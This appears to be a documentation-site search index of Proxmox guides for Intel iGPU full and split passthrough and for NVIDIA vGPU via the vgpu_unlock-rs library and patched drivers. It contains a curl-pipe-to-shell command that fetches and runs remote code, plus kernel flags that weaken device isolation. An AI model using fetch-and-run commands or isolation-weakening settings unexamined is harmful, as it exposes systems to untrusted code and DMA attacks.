    Intel Integrated Graphics (iGPU) is a GPU that is integrated into the CPU. The GPU is a part of the CPU and is used to render graphics. Proxmox may be configured to use iGPU passthrough to VM to allow the VM to use the iGPU for hardware acceleration for example using video encoding/decoding and Transcoding for series like Plex and Emby. This guide will show you how to configure Proxmox to use iGPU passthrough to VM.

    Your mileage may vary depending on your hardware. The following guide was tested with Intel Gen8 CPU.

    There are two ways to use iGPU passthrough to VM. The first way is to use the Full iGPU Passthrough to VM. The second way is to use the iGPU GVT-g technology which allows as to split the iGPU into two parts. We will be covering the Full iGPU Passthrough. If you want to use the split iGPU GVT-g Passthrough you can find the guide here.

    ", "tags": ["proxmox", "igpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/igpu-passthrough-to-vm/#proxmox-configuration-for-igpu-full-passthrough", "title": "Proxmox Configuration for iGPU Full Passthrough", "text": "

    The following examples uses SSH connection to the Proxmox server. The editor is nano but feel free to use any other editor. We will be editing the grub configuration file.

    Edit the grub configuration file.

    nano /etc/default/grub\n

    Find the line that starts with GRUB_CMDLINE_LINUX_DEFAULT by default they should look like this:

    GRUB_CMDLINE_LINUX_DEFAULT=\"quiet\"\n

    We want to allow passthrough and Blacklists known graphics drivers to prevent proxmox from utilizing the iGPU.

    Warning

    You will loose the ability to use the onboard graphics card to access the Proxmox's console since Proxmox won't be able to use the Intel's gpu

    Your GRUB_CMDLINE_LINUX_DEFAULT should look like this:

    GRUB_CMDLINE_LINUX_DEFAULT=\"quiet intel_iommu=on iommu=pt pcie_acs_override=downstream,multifunction initcall_blacklist=sysfb_init video=simplefb:off video=vesafb:off video=efifb:off video=vesa:off disable_vga=1 vfio_iommu_type1.allow_unsafe_interrupts=1 kvm.ignore_msrs=1 modprobe.blacklist=radeon,nouveau,nvidia,nvidiafb,nvidia-gpu,snd_hda_intel,snd_hda_codec_hdmi,i915\"\n

    Note

    This will blacklist most of the graphics drivers from proxmox. If you have a specific driver you need to use for Proxmox Host you need to remove it from modprobe.blacklist

    Save and exit the editor.

    Update the grub configuration to apply the changes the next time the system boots.

    update-grub\n

    Next we need to add vfio modules to allow PCI passthrough.

    Edit the /etc/modules file.

    nano /etc/modules\n

    Add the following line to the end of the file:

    # Modules required for PCI passthrough\nvfio\nvfio_iommu_type1\nvfio_pci\nvfio_virqfd\n

    Update configuration changes made in your /etc filesystem

    update-initramfs -u -k all\n

    Save and exit the editor.

    Reboot Proxmox to apply the changes

    Verify that IOMMU is enabled

    dmesg | grep -e DMAR -e IOMMU\n

    There should be a line that looks like DMAR: IOMMU enabled. If there is no output, something is wrong.

    [0.000000] Warning: PCIe ACS overrides enabled; This may allow non-IOMMU protected peer-to-peer DMA\n[0.067203] DMAR: IOMMU enabled\n[2.573920] pci 0000:00:00.2: AMD-Vi: IOMMU performance counters supported\n[2.580393] pci 0000:00:00.2: AMD-Vi: Found IOMMU cap 0x40\n[2.581776] perf/amd_iommu: Detected AMD IOMMU #0 (2 banks, 4 counters/bank).\n
    ", "tags": ["proxmox", "igpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/igpu-passthrough-to-vm/#windows-virtual-machine-igpu-passthrough-configuration", "title": "Windows Virtual Machine iGPU Passthrough Configuration", "text": "

    For better results its recommend to use this Windows 10/11 Virtual Machine configuration for proxmox.

    Find the PCI address of the iGPU.

    lspci -nnv | grep VGA\n

    This should result in output similar to this:

    00:02.0 VGA compatible controller [0300]: Intel Corporation CometLake-S GT2 [UHD Graphics 630] [8086:3e92] (prog-if 00 [VGA controller])\n

    If you have multiple VGA, look for the one that has the Intel in the name. Here, the PCI address of the iGPU is 00:02.0.

    For best performance the VM should be configured the Machine type to q35. This will allow the VM to utilize PCI-Express passthrough.

    Open the web gui and navigate to the Hardware tab of the VM you want to add a vGPU. Click Add above the device list and then choose PCI Device

    Open the Device dropdown and select the iGPU, which you can find using it\u2019s PCI address. This list uses a different format for the PCI addresses id, 00:02.0 is listed as 0000:00:02.0.

    Select All Functions, ROM-Bar, PCI-Express and then click Add.

    Tip

    I've found that the most consistent way to utilize the GPU acceleration is to disable Proxmox's Virtual Graphics card of the vm. The drawback of disabling the Virtual Graphics card is that it will not be able to access the vm via proxmox's vnc console. The workaround is to enable Remote Desktop (RDP) on the VM before disabling the Virtual Graphics card and accessing the VM via RDP or use any other remove desktop client. If you loose the ability to access the VM via RDP you can temporarily remove the GPU PCI Device and re-enable the virtual graphics card

    The Windows Virtual Machine Proxmox Setting should look like this:

    Power on the Windows Virtual Machine.

    Connect to the VM via Remote Desktop (RDP) or any other remote access protocol you prefer. Install the latest version of Intel's Graphics Driver or use the Intel Driver & Support Assistant installer.

    If all when well you should see the following output in Device Manager and GPU-Z:

    That's it!

    ", "tags": ["proxmox", "igpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/igpu-passthrough-to-vm/#linux-virtual-machine-igpu-passthrough-configuration", "title": "Linux Virtual Machine iGPU Passthrough Configuration", "text": "

    We will be using Ubuntu Server 20.04 LTS for this guide.

    From Proxmox Terminal find the PCI address of the iGPU.

    lspci -nnv | grep VGA\n

    This should result in output similar to this:

    00:02.0 VGA compatible controller [0300]: Intel Corporation CometLake-S GT2 [UHD Graphics 630] [8086:3e92] (prog-if 00 [VGA controller])\n

    If you have multiple VGA, look for the one that has the Intel in the name. Here, the PCI address of the iGPU is 00:02.0.

    Open the Device dropdown and select the iGPU, which you can find using it\u2019s PCI address. This list uses a different format for the PCI addresses id, 00:02.0 is listed as 0000:00:02.0.

    Select All Functions, ROM-Bar and then click Add.

    The Ubuntu Virtual Machine Proxmox Setting should look like this:

    Boot the VM. To test the iGPU passthrough was successful, you can use the following command:

     sudo lspci -nnv | grep VGA\n

    The output should include the Intel iGPU:

    00:10.0 VGA compatible controller [0300]: Intel Corporation UHD Graphics 630 (Desktop) [8086:3e92] (prog-if 00 [VGA controller])\n

    Now we need to check if the GPU's Driver initalization is working.

    cd /dev/dri && ls -la\n

    The output should include the renderD128

    That's it! You should now be able to use the iGPU for hardware acceleration inside the VM and still have proxmox's output on the screen.

    ", "tags": ["proxmox", "igpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/igpu-passthrough-to-vm/#debug", "title": "Debug", "text": "

    Dbug Messages - Shows Hardware initialization and errors

    dmesg -w\n

    Display PCI devices information

    lspci\n

    Display Driver in use for PCI devices

    lspci -k\n

    Display IOMMU Groups the PCI devices are assigned to

    #!/bin/bash\nshopt -s nullglob\nfor g in $(find /sys/kernel/iommu_groups/* -maxdepth 0 -type d | sort -V); do\necho \"IOMMU Group ${g##*/}:\"\nfor d in $g/devices/*; do\necho -e \"\\t$(lspci -nns ${d##*/})\"\ndone;\ndone;\n
    ", "tags": ["proxmox", "igpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/igpu-split-passthrough/", "title": "iGPU Split Passthrough (Intel Integrated Graphics)", "text": "", "tags": ["proxmox", "igpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/igpu-split-passthrough/#introduction", "title": "Introduction", "text": "

    Intel Integrated Graphics (iGPU) is a GPU that is integrated into the CPU. The GPU is a part of the CPU and is used to render graphics. Proxmox may be configured to use iGPU split passthrough to VM to allow the VM to use the iGPU for hardware acceleration for example using video encoding/decoding and Transcoding for series like Plex and Emby. This guide will show you how to configure Proxmox to use iGPU passthrough to VM.

    Your mileage may vary depending on your hardware. The following guide was tested with Intel Gen8 CPU.

    Supported CPUs

    iGPU GVT-g Split Passthrough is supported only on Intel's 5th generation to 10th generation CPUs!

    Known supported CPU families:

    • Broadwell

    • Skylake

    • Kaby Lake

    • Coffee Lake

    • Comet Lake

    There are two ways to use iGPU passthrough to VM. The first way is to use the Full iGPU Passthrough to VM. The second way is to use the iGPU GVT-g technology which allows as to split the iGPU into two parts. We will be covering the Split iGPU Passthrough. If you want to use the split Full iGPU Passthrough you can find the guide here.

    ", "tags": ["proxmox", "igpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/igpu-split-passthrough/#proxmox-configuration-for-gvt-g-split-passthrough", "title": "Proxmox Configuration for GVT-g Split Passthrough", "text": "

    The following examples uses SSH connection to the Proxmox server. The editor is nano but feel free to use any other editor. We will be editing the grub configuration file.

    Edit the grub configuration file.

    nano /etc/default/grub\n

    Find the line that starts with GRUB_CMDLINE_LINUX_DEFAULT by default they should look like this:

    GRUB_CMDLINE_LINUX_DEFAULT=\"quiet\"\n

    We want to allow passthrough and Blacklists known graphics drivers to prevent proxmox from utilizing the iGPU.

    Your GRUB_CMDLINE_LINUX_DEFAULT should look like this:

    GRUB_CMDLINE_LINUX_DEFAULT=\"quiet intel_iommu=on i915.enable_gvt=1 iommu=pt pcie_acs_override=downstream,multifunction video=efifb:off video=vesa:off vfio_iommu_type1.allow_unsafe_interrupts=1 kvm.ignore_msrs=1 modprobe.blacklist=radeon,nouveau,nvidia,nvidiafb,nvidia-gpu\"\n

    Note

    This will blacklist most of the graphics drivers from proxmox. If you have a specific driver you need to use for Proxmox Host you need to remove it from modprobe.blacklist

    Save and exit the editor.

    Update the grub configuration to apply the changes the next time the system boots.

    update-grub\n

    Next we need to add vfio modules to allow PCI passthrough.

    Edit the /etc/modules file.

    nano /etc/modules\n

    Add the following line to the end of the file:

    # Modules required for PCI passthrough\nvfio\nvfio_iommu_type1\nvfio_pci\nvfio_virqfd\n\n# Modules required for Intel GVT-g Split\nkvmgt\n

    Save and exit the editor.

    Update configuration changes made in your /etc filesystem

    update-initramfs -u -k all\n

    Reboot Proxmox to apply the changes

    Verify that IOMMU is enabled

    dmesg | grep -e DMAR -e IOMMU\n

    There should be a line that looks like DMAR: IOMMU enabled. If there is no output, something is wrong.

    [0.000000] Warning: PCIe ACS overrides enabled; This may allow non-IOMMU protected peer-to-peer DMA\n[0.067203] DMAR: IOMMU enabled\n[2.573920] pci 0000:00:00.2: AMD-Vi: IOMMU performance counters supported\n[2.580393] pci 0000:00:00.2: AMD-Vi: Found IOMMU cap 0x40\n[2.581776] perf/amd_iommu: Detected AMD IOMMU #0 (2 banks, 4 counters/bank).\n
    ", "tags": ["proxmox", "igpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/igpu-split-passthrough/#windows-virtual-machine-igpu-passthrough-configuration", "title": "Windows Virtual Machine iGPU Passthrough Configuration", "text": "

    For better results its recommend to use this Windwos 10/11 Virutal Machine configuration for proxmox.

    Find the PCI address of the iGPU.

    lspci -nnv | grep VGA\n

    This should result in output similar to this:

    00:02.0 VGA compatible controller [0300]: Intel Corporation CometLake-S GT2 [UHD Graphics 630] [8086:3e92] (prog-if 00 [VGA controller])\n

    If you have multiple VGA, look for the one that has the Intel in the name.

    Here, the PCI address of the iGPU is 00:02.0.

    For best performance the VM should be configured the Machine type to q35. This will allow the VM to utilize PCI-Express passthrough.

    Open the web gui and navigate to the Hardware tab of the VM you want to add a vGPU. Click Add above the device list and then choose PCI Device

    Open the Device dropdown and select the iGPU, which you can find using it\u2019s PCI address. This list uses a different format for the PCI addresses id, 00:02.0 is listed as 0000:00:02.0.

    Click Mdev Type, You should be presented with a list of the available split passthrough devices choose the better performing one for the vm.

    Select ROM-Bar, PCI-Express and then click Add.

    The Windows Virtual Machine Proxmox Setting should look like this:

    Power on the Windows Virtual Machine.

    Open the VM's Console. Install the latest version of Intel's Graphics Driver or use the Intel Driver & Support Assistant installer.

    If all when well you should see the following output in Device Manager and GPU-Z:

    That's it! You should now be able to use the iGPU for hardware acceleration inside the VM and still have proxmox's output on the screen.

    ", "tags": ["proxmox", "igpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/igpu-split-passthrough/#linux-virtual-machine-igpu-passthrough-configuration", "title": "Linux Virtual Machine iGPU Passthrough Configuration", "text": "

    We will be using Ubuntu Server 20.04 LTS for this guide.

    From Proxmox Terminal find the PCI address of the iGPU.

    lspci -nnv | grep VGA\n

    This should result in output similar to this:

    00:02.0 VGA compatible controller [0300]: Intel Corporation CometLake-S GT2 [UHD Graphics 630] [8086:3e92] (prog-if 00 [VGA controller])\n

    If you have multiple VGA, look for the one that has the Intel in the name.

    Here, the PCI address of the iGPU is 00:02.0.

    VM should be configured the Machine type to i440fx. Open the web gui and navigate to the Hardware tab of the VM you want to add a vGPU to. Click Add above the device list and then choose PCI Device

    Open the Device dropdown and select the iGPU, which you can find using it\u2019s PCI address. This list uses a different format for the PCI addresses id, 00:02.0 is listed as 0000:00:02.0.

    Click Mdev Type, You should be presented with a list of the available split passthrough devices choose the better performing one for the vm.

    Select ROM-Bar, and then click Add.

    The Ubuntu Virtual Machine Proxmox Setting should look like this:

    Boot the VM. To test the iGPU passthrough was successful, you can use the following command:

     sudo lspci -nnv | grep VGA\n

    The output should incliude the Intel iGPU:

    00:10.0 VGA compatible controller [0300]: Intel Corporation UHD Graphics 630 (Desktop) [8086:3e92] (prog-if 00 [VGA controller])\n

    Now we need to check if the GPU's Driver initalization is working.

    cd /dev/dri && ls -la\n

    The output should incliude the renderD128

    That's it! You should now be able to use the iGPU for hardware acceleration inside the VM and still have proxmox's output on the screen.

    ", "tags": ["proxmox", "igpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/igpu-split-passthrough/#debug", "title": "Debug", "text": "

    Dbug Messages - Shows Hardware initialization and errors

    dmesg -w\n

    Display PCI devices information

    lspci\n

    Display Driver in use for PCI devices

    lspci -k\n

    Display IOMMU Groups the PCI devices are assigned to

    #!/bin/bash\nshopt -s nullglob\nfor g in $(find /sys/kernel/iommu_groups/* -maxdepth 0 -type d | sort -V); do\necho \"IOMMU Group ${g##*/}:\"\nfor d in $g/devices/*; do\necho -e \"\\t$(lspci -nns ${d##*/})\"\ndone;\ndone;\n
    ", "tags": ["proxmox", "igpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/", "title": "vGPU Split Passthrough (Nvidia)", "text": "", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#credit-and-thanks", "title": "Credit and Thanks", "text": "

    Thanks to @polloloco for creating and maintaining this guide.

    Official GitLab repository: polloloco/vgpu-proxmox

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#nvidia-vgpu-with-the-grid", "title": "NVIDIA vGPU with the GRID", "text": "

    This document serves as a guide to install NVIDIA vGPU host drivers on the latest Proxmox VE version, at time of writing this its pve 8.0.

    You can follow this guide if you have a vGPU supported card from this list, or if you are using a consumer GPU from the GeForce series or a non-vGPU qualified Quadro GPU. There are several sections with a title similar to \"Have a vGPU supported GPU? Read here\" in this document, make sure to read those very carefully as this is where the instructions differ for a vGPU qualified card and a consumer card.

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#supported-cards", "title": "Supported cards", "text": "

    The following consumer/not-vGPU-qualified NVIDIA GPUs can be used with vGPU: - Most GPUs from the Maxwell 2.0 generation (GTX 9xx, Quadro Mxxxx, Tesla Mxx) EXCEPT the GTX 970 - All GPUs from the Pascal generation (GTX 10xx, Quadro Pxxxx, Tesla Pxx) - All GPUs from the Turing generation (GTX 16xx, RTX 20xx, Txxxx)

    If you have GPUs from the Ampere and Ada Lovelace generation, you are out of luck, unless you have a vGPU qualified card from this list like the A5000 or RTX 6000 Ada. If you have one of those cards, please consult the NVIDIA documentation for help with setting it up.

    !!! THIS MEANS THAT YOUR RTX 30XX or 40XX WILL NOT WORK !!!

    This guide and all my tests were done on a RTX 2080 Ti which is based on the Turing architechture.

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#important-notes-before-starting", "title": "Important notes before starting", "text": "
    • This tutorial assumes you are using a clean install of Proxmox VE 8.0.
    • If you are using Proxmox VE 8.0, you MUST use 16.x drivers. Older versions only work with pve 7
    • If you tried GPU-passthrough before, you absolutely MUST revert all of the steps you did to set that up.
    • If you only have one GPU in your system with no iGPU, your local monitor will NOT give you any output anymore after the system boots up. Use SSH or a serial connection if you want terminal access to your machine.
    • Most of the steps can be applied to other linux distributions, however I'm only covering Proxmox VE here.
    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#are-you-upgrading-from-a-previous-version-of-this-guide", "title": "Are you upgrading from a previous version of this guide?", "text": "

    If you are upgrading from a previous version of this guide, you should uninstall the old driver by running nvidia-uninstall first.

    Then you also have to make sure that you are using the latest version of vgpu_unlock-rs, otherwise it won't work with the latest driver.

    Either delete the folder /opt/vgpu_unlock-rs or enter the folder and run git pull and then recompile the library again using cargo build --release

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#packages", "title": "Packages", "text": "

    Make sure to add the community pve repo and get rid of the enterprise repo (you can skip this step if you have a valid enterprise subscription)

    echo \"deb http://download.proxmox.com/debian/pve bookworm pve-no-subscription\" >> /etc/apt/sources.list\nrm /etc/apt/sources.list.d/pve-enterprise.list\n

    Update and upgrade

    apt update\napt dist-upgrade\n

    We need to install a few more packages like git, a compiler and some other tools.

    apt install -y git build-essential dkms pve-headers mdevctl\n

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#git-repos-and-rust-compiler", "title": "Git repos and Rust compiler", "text": "

    First, clone this repo to your home folder (in this case /root/)

    git clone https://gitlab.com/polloloco/vgpu-proxmox.git\n

    You also need the vgpu_unlock-rs repo

    cd /opt\ngit clone https://github.com/mbilker/vgpu_unlock-rs.git\n

    After that, install the rust compiler

    curl https://sh.rustup.rs -sSf | sh -s -- -y --profile minimal\n

    Now make the rust binaries available in your $PATH (you only have to do it the first time after installing rust)

    source $HOME/.cargo/env\n

    Enter the vgpu_unlock-rs directory and compile the library. Depending on your hardware and internet connection that may take a while

    cd vgpu_unlock-rs/\ncargo build --release\n

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#create-files-for-vgpu-unlock", "title": "Create files for vGPU unlock", "text": "

    The vgpu_unlock-rs library requires a few files and folders in order to work properly, lets create those

    First create the folder for your vgpu unlock config and create an empty config file

    mkdir /etc/vgpu_unlock\ntouch /etc/vgpu_unlock/profile_override.toml\n

    Then, create folders and files for systemd to load the vgpu_unlock-rs library when starting the nvidia vgpu services

    mkdir /etc/systemd/system/{nvidia-vgpud.service.d,nvidia-vgpu-mgr.service.d}\necho -e \"[Service]\\nEnvironment=LD_PRELOAD=/opt/vgpu_unlock-rs/target/release/libvgpu_unlock_rs.so\" > /etc/systemd/system/nvidia-vgpud.service.d/vgpu_unlock.conf\necho -e \"[Service]\\nEnvironment=LD_PRELOAD=/opt/vgpu_unlock-rs/target/release/libvgpu_unlock_rs.so\" > /etc/systemd/system/nvidia-vgpu-mgr.service.d/vgpu_unlock.conf\n

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#have-a-vgpu-supported-card-read-here", "title": "Have a vgpu supported card? Read here!", "text": "

    If you don't have a card like the Tesla P4, or any other gpu from this list, please continue reading at Enabling IOMMU

    Disable the unlock part as doing this on a gpu that already supports vgpu, could break things as it introduces unnecessary complexity and more points of possible failure:

    echo \"unlock = false\" > /etc/vgpu_unlock/config.toml\n

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#enabling-iommu", "title": "Enabling IOMMU", "text": "", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#note-usually-this-isnt-required-for-vgpu-to-work-but-it-doesnt-hurt-to-enable-it-you-can-skip-this-section-but-if-you-run-into-problems-later-on-make-sure-to-enable-iommu", "title": "Note: Usually this isn't required for vGPU to work, but it doesn't hurt to enable it. You can skip this section, but if you run into problems later on, make sure to enable IOMMU.", "text": "

    To enable IOMMU you have to enable it in your BIOS/UEFI first. Due to it being vendor specific, I am unable to provide instructions for that, but usually for Intel systems the option you are looking for is called something like \"Vt-d\", AMD systems tend to call it \"IOMMU\".

    After enabling it in your BIOS/UEFI, you also have to enable it in your kernel. Depending on how your system is booting, there are two ways to do that.

    If you installed your system with ZFS-on-root and in UEFI mode, then you are using systemd-boot, everything else is GRUB. GRUB is way more common so if you are unsure, you are probably using that.

    Depending on which system you are using to boot, you have to chose from the following two options:

    GRUB Open the file `/etc/default/grub` in your favorite editor
    nano /etc/default/grub\n
    The kernel parameters have to be appended to the variable `GRUB_CMDLINE_LINUX_DEFAULT`. On a clean installation that line should look like this
    GRUB_CMDLINE_LINUX_DEFAULT=\"quiet\"\n
    If you are using an Intel system, append this after `quiet`:
    intel_iommu=on iommu=pt\n
    On AMD systems, append this after `quiet`:
    amd_iommu=on iommu=pt\n
    The result should look like this (for intel systems):
    GRUB_CMDLINE_LINUX_DEFAULT=\"quiet intel_iommu=on iommu=pt\"\n
    Now, save and exit from the editor using Ctrl+O and then Ctrl+X and then apply your changes:
    update-grub\n
    systemd-boot The kernel parameters have to be appended to the commandline in the file `/etc/kernel/cmdline`, so open that in your favorite editor:
    nano /etc/kernel/cmdline\n
    On a clean installation the file might look similar to this:
    root=ZFS=rpool/ROOT/pve-1 boot=zfs\n
    On Intel systems, append this at the end
    intel_iommu=on iommu=pt\n
    For AMD, use this
    amd_iommu=on iommu=pt\n
    After editing the file, it should look similar to this
    root=ZFS=rpool/ROOT/pve-1 boot=zfs intel_iommu=on iommu=pt\n
    Now, save and exit from the editor using Ctrl+O and then Ctrl+X and then apply your changes:
    proxmox-boot-tool refresh\n
    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#loading-required-kernel-modules-and-blacklisting-the-open-source-nvidia-driver", "title": "Loading required kernel modules and blacklisting the open source nvidia driver", "text": "

    We have to load the vfio, vfio_iommu_type1, vfio_pci and vfio_virqfd kernel modules to get vGPU working

    echo -e \"vfio\\nvfio_iommu_type1\\nvfio_pci\\nvfio_virqfd\" >> /etc/modules\n

    Proxmox comes with the open source nouveau driver for nvidia gpus, however we have to use our patched nvidia driver to enable vGPU. The next line will prevent the nouveau driver from loading

    echo \"blacklist nouveau\" >> /etc/modprobe.d/blacklist.conf\n

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#applying-our-kernel-configuration", "title": "Applying our kernel configuration", "text": "

    I'm not sure if this is needed, but it doesn't hurt :)

    update-initramfs -u -k all\n

    ...and reboot

    reboot\n

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#check-if-iommu-is-enabled", "title": "Check if IOMMU is enabled", "text": "", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#note-see-section-enabling-iommu-this-is-optional", "title": "Note: See section \"Enabling IOMMU\", this is optional", "text": "

    Wait for your server to restart, then type this into a root shell

    dmesg | grep -e DMAR -e IOMMU\n

    On my Intel system the output looks like this

    [    0.007235] ACPI: DMAR 0x000000009CC98B68 0000B8 (v01 INTEL  BDW      00000001 INTL 00000001)\n[    0.007255] ACPI: Reserving DMAR table memory at [mem 0x9cc98b68-0x9cc98c1f]\n[    0.020766] DMAR: IOMMU enabled\n[    0.062294] DMAR: Host address width 39\n[    0.062296] DMAR: DRHD base: 0x000000fed90000 flags: 0x0\n[    0.062300] DMAR: dmar0: reg_base_addr fed90000 ver 1:0 cap c0000020660462 ecap f0101a\n[    0.062302] DMAR: DRHD base: 0x000000fed91000 flags: 0x1\n[    0.062305] DMAR: dmar1: reg_base_addr fed91000 ver 1:0 cap d2008c20660462 ecap f010da\n[    0.062307] DMAR: RMRR base: 0x0000009cc18000 end: 0x0000009cc25fff\n[    0.062309] DMAR: RMRR base: 0x0000009f000000 end: 0x000000af1fffff\n[    0.062312] DMAR-IR: IOAPIC id 8 under DRHD base  0xfed91000 IOMMU 1\n[    0.062314] DMAR-IR: HPET id 0 under DRHD base 0xfed91000\n[    0.062315] DMAR-IR: x2apic is disabled because BIOS sets x2apic opt out bit.\n[    0.062316] DMAR-IR: Use 'intremap=no_x2apic_optout' to override the BIOS setting.\n[    0.062797] DMAR-IR: Enabled IRQ remapping in xapic mode\n[    0.302431] DMAR: No ATSR found\n[    0.302432] DMAR: No SATC found\n[    0.302433] DMAR: IOMMU feature pgsel_inv inconsistent\n[    0.302435] DMAR: IOMMU feature sc_support inconsistent\n[    0.302436] DMAR: IOMMU feature pass_through inconsistent\n[    0.302437] DMAR: dmar0: Using Queued invalidation\n[    0.302443] DMAR: dmar1: Using Queued invalidation\n[    0.333474] DMAR: Intel(R) Virtualization Technology for Directed I/O\n[    3.990175] i915 0000:00:02.0: [drm] DMAR active, disabling use of stolen memory\n

    Depending on your mainboard and cpu, the output will be different, in my output the important line is the third one: DMAR: IOMMU enabled. If you see something like that, IOMMU is enabled.

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#nvidia-driver", "title": "NVIDIA Driver", "text": "

    This repo contains patches that allow you to use vGPU on not-qualified-vGPU cards (consumer GPUs). Those patches are binary patches, which means that each patch works ONLY for a specific driver version.

    I've created patches for the following driver versions: - 16.2 (535.129.03) - Use this if you are on pve 8.0 (kernel 6.2, 6.5 should work too) - 16.1 (535.104.06) - 16.0 (535.54.06) - 15.1 (525.85.07) - 15.0 (525.60.12) - 14.4 (510.108.03) - 14.3 (510.108.03) - 14.2 (510.85.03)

    You can choose which of those you want to use, but generally its recommended to use the latest, most up-to-date version (16.2 in this case).

    If you have a vGPU qualified GPU, you can use other versions too, because you don't need to patch the driver. However, you still have to make sure they are compatible with your proxmox version and kernel. Also I would not recommend using any older versions unless you have a very specific requirement.

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#obtaining-the-driver", "title": "Obtaining the driver", "text": "

    NVIDIA doesn't let you freely download vGPU drivers like they do with GeForce or normal Quadro drivers, instead you have to download them through the NVIDIA Licensing Portal (see: https://www.nvidia.com/en-us/drivers/vgpu-software-driver/). You can sign up for a free evaluation to get access to the download page.

    NB: When applying for an eval license, do NOT use your personal email or other email at a free email provider like gmail.com. You will probably have to go through manual review if you use such emails. I have very good experience using a custom domain for my email address, that way the automatic verification usually lets me in after about five minutes.

    I've created a small video tutorial to find the right driver version on the NVIDIA Enterprise Portal. In the video I'm downloading the 15.0 driver, if you want a different one just replace 15.0 with the version you want:

    After downloading, extract the zip file and then copy the file called NVIDIA-Linux-x86_64-DRIVERVERSION-vgpu-kvm.run (where DRIVERVERSION is a string like 535.129.03) from the Host_Drivers folder to your Proxmox host into the /root/ folder using tools like FileZilla, WinSCP, scp or rsync.

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#from-here-on-i-will-be-using-the-162-driver-but-the-steps-are-the-same-for-other-driver-versions", "title": "\u26a0\ufe0f From here on, I will be using the 16.2 driver, but the steps are the same for other driver versions", "text": "

    For example when I run a command like chmod +x NVIDIA-Linux-x86_64-535.129.03-vgpu-kvm.run, you should replace 535.129.03 with the driver version you are using (if you are using a different one). You can get the list of version numbers here.

    Every step where you potentially have to replace the version name will have this warning emoji next to it: \u26a0\ufe0f

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#have-a-vgpu-supported-card-read-here_1", "title": "Have a vgpu supported card? Read here!", "text": "

    If you don't have a card like the Tesla P4, or any other gpu from this list, please continue reading at Patching the driver

    With a supported gpu, patching the driver is not needed, so you should skip the next section. You can simply install the driver package like this:

    \u26a0\ufe0f

    chmod +x NVIDIA-Linux-x86_64-535.129.03-vgpu-kvm.run\n./NVIDIA-Linux-x86_64-535.129.03-vgpu-kvm.run --dkms\n

    To finish the installation, reboot the system

    reboot\n

    Now, skip the following two sections and continue at Finishing touches

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#patching-the-driver", "title": "Patching the driver", "text": "

    Now, on the proxmox host, make the driver executable

    \u26a0\ufe0f

    chmod +x NVIDIA-Linux-x86_64-535.129.03-vgpu-kvm.run\n

    And then patch it

    \u26a0\ufe0f

    ./NVIDIA-Linux-x86_64-535.129.03-vgpu-kvm.run --apply-patch ~/vgpu-proxmox/535.129.03.patch\n
    That should output a lot of lines ending with
    Self-extractible archive \"NVIDIA-Linux-x86_64-535.129.03-vgpu-kvm-custom.run\" successfully created.\n

    You should now have a file called NVIDIA-Linux-x86_64-535.129.03-vgpu-kvm-custom.run, that is your patched driver.

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#installing-the-driver", "title": "Installing the driver", "text": "

    Now that the required patch is applied, you can install the driver

    \u26a0\ufe0f

    ./NVIDIA-Linux-x86_64-535.129.03-vgpu-kvm-custom.run --dkms\n

    The installer will ask you Would you like to register the kernel module sources with DKMS? This will allow DKMS to automatically build a new module, if you install a different kernel later., answer with Yes.

    Depending on your hardware, the installation could take a minute or two.

